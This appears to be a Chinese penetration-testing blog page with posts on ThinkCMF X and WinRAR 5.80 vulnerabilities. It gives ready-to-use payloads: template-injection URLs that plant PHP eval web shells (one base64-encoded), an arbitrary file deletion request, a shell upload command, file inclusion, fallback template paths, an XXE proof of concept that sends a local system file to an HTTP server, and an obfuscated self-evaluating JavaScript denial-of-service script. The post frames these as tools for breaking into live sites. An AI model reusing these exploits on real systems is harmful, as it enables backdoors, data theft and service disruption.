post_title:123
post[id][0]:bind 
  • 前台模版注入漏洞-可getshell四处
# 仅在Windows环境测试
# 第一处  
http://website/ThinkCMFX/index.php?g=Comment&m=Widget&a=fetch&templateFile=/../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
# 第二处  
http://website/ThinkCMFX/index.php?g=Api&m=Plugin&a=fetch&templateFile=/../../../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=

# 第三处  
/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

# 第四处
/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg==")); 
  • 任意文件删除-只能windows删除

在用户上传头像处存在任意文件删除漏洞,发送如下数据包后,会删除网站根目录下一个名为 test.txt 的文件。(该漏洞仅能在 Windows 下触发)

POST /ThinkCMFX/index.php?g=User&m=Profile&a=do_avatar& HTTP/1.1
Host: localhost
Cookie: PHPSESSID=bggit7phrb1dl99pcb2lagbmq0;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

imgurl=..\..\..\test.txt 
  • 任意文件上传

在 ThinkCMFX2.2.3 最终版中,存在一处任意文件上传(需要普通用户权限,默认可注册)
curl -F "file=@/tmp/shell.php" -X "POST" -b 'PHPSESSID=qekmttucmue6vv41kpdjghnkd0;' 'http://127.0.0.1/ThinkCMFX/index.php?g=Asset&m=Ueditor&a=upload&action=uploadfile'

  • 任意文件包含(读取数据库配置等等)
    /index.php?a=display&templateFile=README.md

使用说明

thinkcmf 并没有死,并且有3版本与5版本这里提供一些方法,帮助你们辨别哪一些是可以日的,那一些事不行的。 1.看logo 3的logo是黄色的. 2.在网站url 后面输入 admin,如果页面是蓝色的表示是3的,可日穿之. 3.查看 README.md 在网站url后面输入README.md. 另外还有一个说明,你在实际操作的过程中,可能会遇到他一直报这个模板不存在错:

url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
post:
templateFile=/../public/index
prefix=''
content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php> 

请放心这并不是说明漏洞不可使用,而是说,这个模版不存在,你可以换一个html即可

例如:
/../public/index
/../public/exception
/../data/index
/../data/runtime/index
/../plugins/Mobileverify/View/admin_index
/../plugins/Mobileverify/View/index
/../plugins/Mobileverify/View/widget
/../plugins/Demo/View/admin_index
/../plugins/Demo/View/index
/../plugins/Demo/View/widget
/../application/Install/View/Public/footer
/../application/Install/View/Public/head
/../application/Install/View/Public/header
/../application/Common/index
/../application/Portal/Lang/en-us/index
/../application/Api/Lang/en-us/index
/../application/Api/Lang/zh-cn/index
/../application/Comment/Lang/en-us/index
/../application/Comment/Lang/zh-cn/index 
url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch
post:
templateFile=/../../../public/index
prefix=''
content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php> 
/../../../public/index
/../../../public/exception
/../../../data/index
/../../../data/runtime/index
/../../../plugins/Mobileverify/View/admin_index
/../../../plugins/Mobileverify/View/index
/../../../plugins/Mobileverify/View/widget
/../../../plugins/Demo/View/admin_index
/../../../plugins/Demo/View/index
/../../../plugins/Demo/View/widget
/../../../application/Install/View/Public/footer
/../../../application/Install/View/Public/head
/../../../application/Install/View/Public/header
/../../../application/Common/index
/../../../application/Portal/Lang/en-us/index
/../../../application/Api/Lang/en-us/index
/../../../application/Api/Lang/zh-cn/index
/../../../application/Comment/Lang/en-us/index
/../../../application/Comment/Lang/zh-cn/index 

还有最后一句废话:模版注入对于linux 并不好用 : )

更多漏洞POC-持续收集中-https://github.com/Mr-xn/Penetration_Testing_POC
参考:
https://xz.aliyun.com/t/3409 
https://xz.aliyun.com/t/3529
 https://mochazz.github.io/2019/07/25/ThinkCMFX漏洞分析合集


admin 发布于  2019-10-28 21:21 

ThinkCMF2.2.2前台直接getshell+任意文件包含漏洞 渗透测试

0x00 简介

    ThinkCMF是一款基于ThinkPHP+MySQL开发的开源中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

0x01 漏洞概述

    远程攻击者在无需任何权限情况下,可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

0x02 影响版本 

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

0x03 漏洞利用&测试环境



测试环境:

测试版本:thinkcmf 2.2.2

phpstudy pro

windows 10



一共有两种方式:

第一种是通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件,phpinfo版payload如下:

/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

第一种漏洞复现截图如下:

thinkcmf之getshell.png

第二种是通过构造a参数的display方法,实现任意内容包含漏洞,payload如下: 

/index.php?a=display&templateFile=README.md

第二种漏洞复现截图如下:

thinkcmf任意文件包含二.png



0x04 漏洞分析

    根据index.php的第25行可知道项目相对路径为application目录:

//开启调试模式
define("APP_DEBUG", true);
//网站当前路径
define('SITE_PATH', dirname(__FILE__)."/");
//项目路径,不可更改
define('APP_PATH', SITE_PATH . 'application/');
//项目相对路径,不可更改
define('SPAPP_PATH',   SITE_PATH.'simplewind/');



    然后找到 application\Portal\Controller 路径下的 IndexController.class.php 控制器类:

可以看到只有一个公共的display方法:

namespace Portal\Controller;
use Common\Controller\HomebaseController; 
/**
 * 首页
 */
class IndexController extends HomebaseController {

    //首页 小夏是老猫除外最帅的男人了
    public function index() {
        $this->display(":index");
    }

}



    其父类是  Common\Controller\HomebaseController ,根据ThinkPHP框架规则,可以通过 g\m\a 参数指定分组(group)\模块(model)\动作或方法(action),我们打开 application\Common\Controller 路径下的 HomebaseController.class.php 可以看到通过a参数直接调的这几个权限为 public 的方法:

thinkcmf几个权限为public的函数.png

    这边有问题的是display函数和fetch函数:

    display函数的作用是加载模板和页面输出,所对应的参数为:

$templateFile 指定要调用的模板文件,$charset 模板输出字符集,$contentType 输出类型,$content 模板输出内容。

templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找:

public function parseTemplate($template='') {...}



    然后调用THinkphp Controller 函数的display方法,其中fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

 /**
     * 获取输出页面内容
     * 调用内置的模板引擎fetch方法,
     * @access protected
     * @param string $templateFile 指定要调用的模板文件
     * 默认为空 由系统自动定位模板文件
     * @param string $content 模板输出内容
     * @param string $prefix 模板缓存前缀* * @return string
     */
    public function fetch($templateFile='',$content='',$prefix=''){
        $templateFile = empty($content)?$this->parseTemplate($templateFile):'';
        return parent::fetch($templateFile,$content,$prefix);
    }



    这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可getshell。最终形成的payload:

/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg=="));

thinkcmf之getshell2.png

0x05 修复方式

    将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected。

修改修饰为protected即可防御.png

还有另一种getshell的方法:

thinkcmf前台getshell.png

参考:


https://www.freebuf.com/vuls/217586.html

https://xz.aliyun.com/t/3529


admin 发布于  2019-10-25 05:29 

WinRAR 5.80 XML 注入漏洞和拒绝服务攻击漏洞 渗透测试

0x00背景介绍 

WinRAR,是Windows标配的压缩软件,大家都不陌生。

0x01漏洞描述 

但是最近这两天winrar 5.80爆出了两个漏洞,一个是XML注入漏洞,一个是拒绝服务攻击漏洞。

0x02漏洞复现POC 

第一个XML注入漏洞:

此poc展示非授权情况下用户敏感文件上传

这里的文件是:C:\Windows\system.ini

文件上传.png

1-开一个简单的http服务器

在PYthon环境下运行 :

python -m SimpleHTTPServer 8800

并在当前目录放一个start.dtd文件,内容参考下文。

2-打开WinRAR

打开Winrar或者用Winrar打开任意一个rar文件

3-点击菜单栏的帮助

4-点击 帮助主题

5-拖一个精心制作的html文件到上面的帮助窗口

拖拽特殊HTML文件到winrar帮助文档窗口.png

XML注入漏洞利用的html文件:

<html><body><xml>
<?xml version="1.0"?>
<!DOCTYPE flavios [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8800/start.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml></body></html>

放置简单web服务器上的start.dtd文件:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8800?%file;'>">
%all;

第二个拒绝服务攻击漏洞的HTML利用文件代码如下:

<script type="text/javascript">
//<![CDATA[
<!--
var x="function f(x){var i,o=\"\",l=x.length;for(i=l-1;i>=0;i--) {try{o+=x.c" +
"harAt(i);}catch(e){}}return o;}f(\")\\\"function f(x,y){var i,o=\\\"\\\\\\\""+
"\\\\,l=x.length;for(i=0;i<l;i++){if(i==28)y+=i;y%=127;o+=String.fromCharCod" +
"e(x.charCodeAt(i)^(y++));}return o;}f(\\\"\\\\xr}jMDLW\\\\\\\\nRTN\\\\\\\\\\"+
"\\\\\\LFE\\\\\\\\004\\\\\\\\017\\\\\\\\022GD\\\\\\\\\\\\\\\\^\\\\\\\\rhGjYh" +
"83#9y2/(-s:\\\\\\\\021\\\\\\\\024\\\\\\\\013\\\\\\\\025Y9D\\\\\\\\037E\\\\\\"+
"\\034\\\\\\\\013F\\\\\\\\017\\\\\\\\002\\\\\\\\003\\\\\\\\037\\\\\\\\021\\\\"+
"\\\\005\\\\\\\\033\\\\\\\\021\\\\\\\\030\\\\\\\\020*UX\\\\\\\\032\\\\\\\\02" +
"5\\\\\\\\025\\\\\\\\010\\\\\\\\030\\\\\\\\020t<^!M@;?T+4W~Q`3}tfr4}bch4\\\\" +
"\\\\177jith\\\\\\\\\\\"\\\\|\\\\\\\\003g[TLTB[u\\\\\\\\010\\\\\\\\013OB@[U_" +
"F\\\\\\\\016h\\\\\\\\027\\\\\\\\033\\\\\\\\006d\\\\\\\\033\\\\\\\\004gNaP\\" +
"\\\\\\003\\\\\\\\\\\"\\\\.&:z\\\\\\\\0314\\\\\\\\033&u9(>$>;p=3=3 70=d\\\\\\"+
"\\006y\\\\\\\\n\\\\\\\\037\\\\\\\\r<\\\\\\\\022\\\\\\\\010\\\\\\\\022\\\\\\" +
"\\027J \\\\\\\\010\\\\\\\\004\\\\\\\\007\\\\\\\\r\\\\\\\\0177NS2\\\\\\\\035" +
",\\\\\\\\037.\\\\\\\\001(\\\\\\\\033VWX=\\\\\\\\023\\\\\\\\026\\\\\\\\\\\\\\"+
"\\\\\\\\\\016\\\\\\\\026l!\\\\\\\\\\\"\\\\_vYh'()Ynx-}g|1/3Wgsvl|Uyvx}k\\\\" +
"\\\\010}\\\\\\\\000tWFTNX]\\\\\\\\004xDHBCl\\\\\\\\023\\\\\\\\033\\\\\\\\02" +
"3\\\\\\\\024iDkV\\\\\\\\031\\\\\\\\032\\\\\\\\033\\\\\\\\177\\\\\\\\\\\\\\\\"+
"RS`2*/j\\\\\\\\0273)`\\\\\\\\025h\\\\\\\\027n\\\\\\\\021l,=5|6,0\\\\\\\\nu\\"+
"\\\\\\004{\\\\\\\\006yu}~\\\\\\\\003\\\\\\\\022=\\\\\\\\014CDE5\\\\\\\\002\\"+
"\\\\\\034I\\\\\\\\031\\\\\\\\003\\\\\\\\000MSO>\\\\\\\\036\\\\\\\\006\\\\\\" +
"\\033\\\\\\\\035\\\\\\\\033\\\\\\\\021WXYZ'\\\\\\\\016!\\\\\\\\020 !\\\\\\\\"+
"\\\"\\\\_vYh;'ziye}z1LcN}(:tx|`$GnAp#\\\\\\\\017IVNH\\\\\\\\033\\\\\\\\004\\"+
"\\\\\\016\\\\\\\\023\\\\\\\\031\\\\\\\\021\\\"\\\\,28)\\\"(f};)lo,0(rtsbus." +
"o nruter};)i(tArahc.x=+o{)--i;0=>i;1-l=i(rof}}{)e(hctac};l=+l;x=+x{yrt{)401" +
"=!)31/l(tAedoCrahc.x(elihw;lo=l,htgnel.x=lo,\\\"\\\"=o,i rav{)x(f noitcnuf\""+
")"                                                                           ;
while(x=eval(x));
//-->
//]]>
</script>
<script type="text/javascript">
//<![CDATA[
<!--
var x="function f(x){var i,o=\"\",ol=x.length,l=ol;while(x.charCodeAt(l/13)!" +
"=48){try{x+=x;l+=l;}catch(e){}}for(i=l-1;i>=0;i--){o+=x.charAt(i);}return o" +
".substr(0,ol);}f(\")19,\\\"ZPdw771\\\\b77-0xjk-7=3771\\\\sp,cw$520\\\\:330\\"+
"\\xg030\\\\jj9%530\\\\b000\\\\XZUUVX620\\\\LP\\\\\\\\Pr\\\\610\\\\KOHD400\\" +
"\\620\\\\720\\\\\\\\\\\\WOWGPr\\\\530\\\\NClAauFkD,$gqutdr/3-ig~`|)rkanwbo2" +
"30\\\\t\\\\ 520\\\\&310\\\\$n\\\\200\\\\)230\\\\/000\\\\-K530\\\\310\\\\310" +
"\\\\n\\\\630\\\\010\\\\IULFW620\\\\600\\\\400\\\\700\\\\520\\\\=*100\\\\(70" +
"0\\\\4500\\\\*310\\\\-u}xy8pt~}|{771\\\\itg/e771\\\\sb|`V620\\\\530\\\\NT\\" +
"\\\\\\MdYjGh010\\\\@TVI[O410\\\\620\\\\n\\\\330\\\\ZB@CQA200\\\\SAijArGhEec" +
"J{HaN*2S?9t)V)5,&waedtbn\\\\!010\\\\'420\\\\%n\\\\+r\\\\U]XY030\\\\PT^]\\\\" +
"\\\\[ZY]GZEr\\\\CYQ@b~4|);/pw$:2'610\\\\?410\\\\=220\\\\vn720\\\\h520\\\\hz" +
"f7!%$4\\\"\\\\730\\\\L\\\\\\\\JOfWdEjN420\\\\230\\\\230\\\\IU710\\\\@BE_IG]" +
"AHyV771\\\\430\\\\300\\\\|kntnxixnv|:`kwe2S3h|r~)|wowgp>o\\\\\\\\410\\\\!B7" +
"30\\\\330\\\\430\\\\020\\\\K030\\\\)600\\\\/L530\\\\530\\\\330\\\\600\\\\QN" +
"C400\\\\500\\\\r\\\\320\\\\710\\\\720\\\\320\\\\M620\\\\710\\\\500\\\\2+>3?" +
"\\\"(f};o nruter};))++y(^)i(tAedoCrahc.x(edoCrahCmorf.gnirtS=+o;721=%y{)++i" +
";l<i;0=i(rof;htgnel.x=l,\\\"\\\"=o,i rav{)y,x(f noitcnuf\")"                 ;
while(x=eval(x));
//-->
//]]>
</script>

参考:

https://packetstormsecurity.com/files/154918/winrar580-xxe.txt

https://www.exploit-db.com/exploits/47525



admin 发布于  2019-10-23 21:09